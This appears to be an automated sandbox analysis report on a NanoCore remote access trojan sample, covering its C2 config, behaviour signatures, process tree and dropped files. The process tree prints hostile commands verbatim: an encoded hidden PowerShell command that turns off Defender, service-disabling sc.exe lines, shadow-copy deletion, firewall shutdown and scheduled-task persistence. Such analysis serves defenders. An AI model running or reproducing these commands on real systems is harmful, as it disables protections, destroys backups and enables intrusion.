Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/10/2026, 04:16

General

  • Target
    thebl.com_chrome.exe
  • Size 57KB
  • Sample261015-evxcrsbd57
  • SHA256 176cab6d4121f72a747654d32a6c6c0397c977887d379e826e31ca0ade430d69
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://thebl.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://thebl.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5336
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1940
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3912
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2932
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2544
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5976
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2144
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1036
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1716
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5828
      • C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe"
        3⤵
          PID:4328
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1916
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3172
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2744
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5936
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3492
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3780
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4196
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:5204
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5044
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3116
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3752
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:792
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:3048
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4624
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            PID:1888
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
              PID:5432
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2864
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5952
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:1524
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3404
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:2328
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3416
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:1712
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3180
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:204
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:3324
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              PID:3916
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4812
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:2932
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:772
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:2720
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:3512
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
                PID:6008
              • C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe
                1⤵
                  PID:292
                • C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\thebl.com_chrome.exe
                  1⤵
                    PID:2276
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:1300

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          scr_20261015_051737.jpg

                          • Path C:\ProgramData\SysUpdate\Scr\scr_20261015_051737.jpg
                          • Size 108KB
                          • SHA256 afc12ce37170f32932f369403b26639e4fbc344b4a414cefb54baf48bb44f0a4
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_2.pdf

                          • Path C:\SystemVolumeInformation\doc_2.pdf
                          • Size 76KB
                          • SHA256 3da0be52cb4320bcec2bbc328754204500d2f3665adcb407fb4c1dc1cc417ee4
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __PSScriptPolicyTest_3yiomhnr.rxb.psm1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3yiomhnr.rxb.psm1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 241B
                          • SHA256 6df1aa6dea8f9f9e0c8c08c9b4de4477745196395efcd93a2ff8356f0ca12239
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 242B
                          • SHA256 9544363a3e47b478c6d2627dfe89adf4659e21a393fda3b22836f80e74cbf13c
                          • MD5 SHA1 SHA512 TLSH

                          temp_steal.log

                          • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                          • Size 144KB
                          • SHA256 dbc07e25d5769b3165c1d3c553036e044addfee548686d242359d8880315e84b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          stolen_data_here.txt

                          • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                          • Size 144KB
                          • SHA256 81c69803efeac117545c898705713b74d6298cf3246dcf5770511e2eba94dcaa
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_1.pdf

                          • Path C:\Users\Admin\Documents\invoice_1.pdf
                          • Size 76KB
                          • SHA256 07b1db3864338471d5ac53c216fa704630a8dfe8f034cd30025703e9c18b6d87
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          READ_ME_NANOCORE.txt

                          • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                          • Size 145B
                          • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                          • MD5 SHA1 SHA512 TLSH

                          RANSOM_NOTE.txt

                          • Path F:\RANSOM_NOTE.txt
                          • Size 177B
                          • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                          • MD5 SHA1 SHA512 TLSH

                          memory/2472-3-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/2472-2280-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/2472-2279-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/2472-4-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/2472-2282-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/2472-7-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/2472-5-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/2472-2-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/2472-0-0x00007FF9F964F000-0x00007FF9F9650000-memory.dmp

                          memory/2472-1-0x0000000000510000-0x0000000000524000-memory.dmp

                          memory/2472-6-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5204-2264-0x0000018C58590000-0x0000018C58591000-memory.dmp

                          memory/5336-25-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-31-0x0000020DCA130000-0x0000020DCA14E000-memory.dmp

                          memory/5336-32-0x0000020DCA150000-0x0000020DCA202000-memory.dmp

                          memory/5336-27-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-41-0x0000020DCA210000-0x0000020DCA21A000-memory.dmp

                          memory/5336-26-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-24-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-2247-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-23-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-21-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-20-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-11-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-18-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-19-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-17-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-16-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-12-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

                          memory/5336-13-0x0000020DB1DA0000-0x0000020DB1DC2000-memory.dmp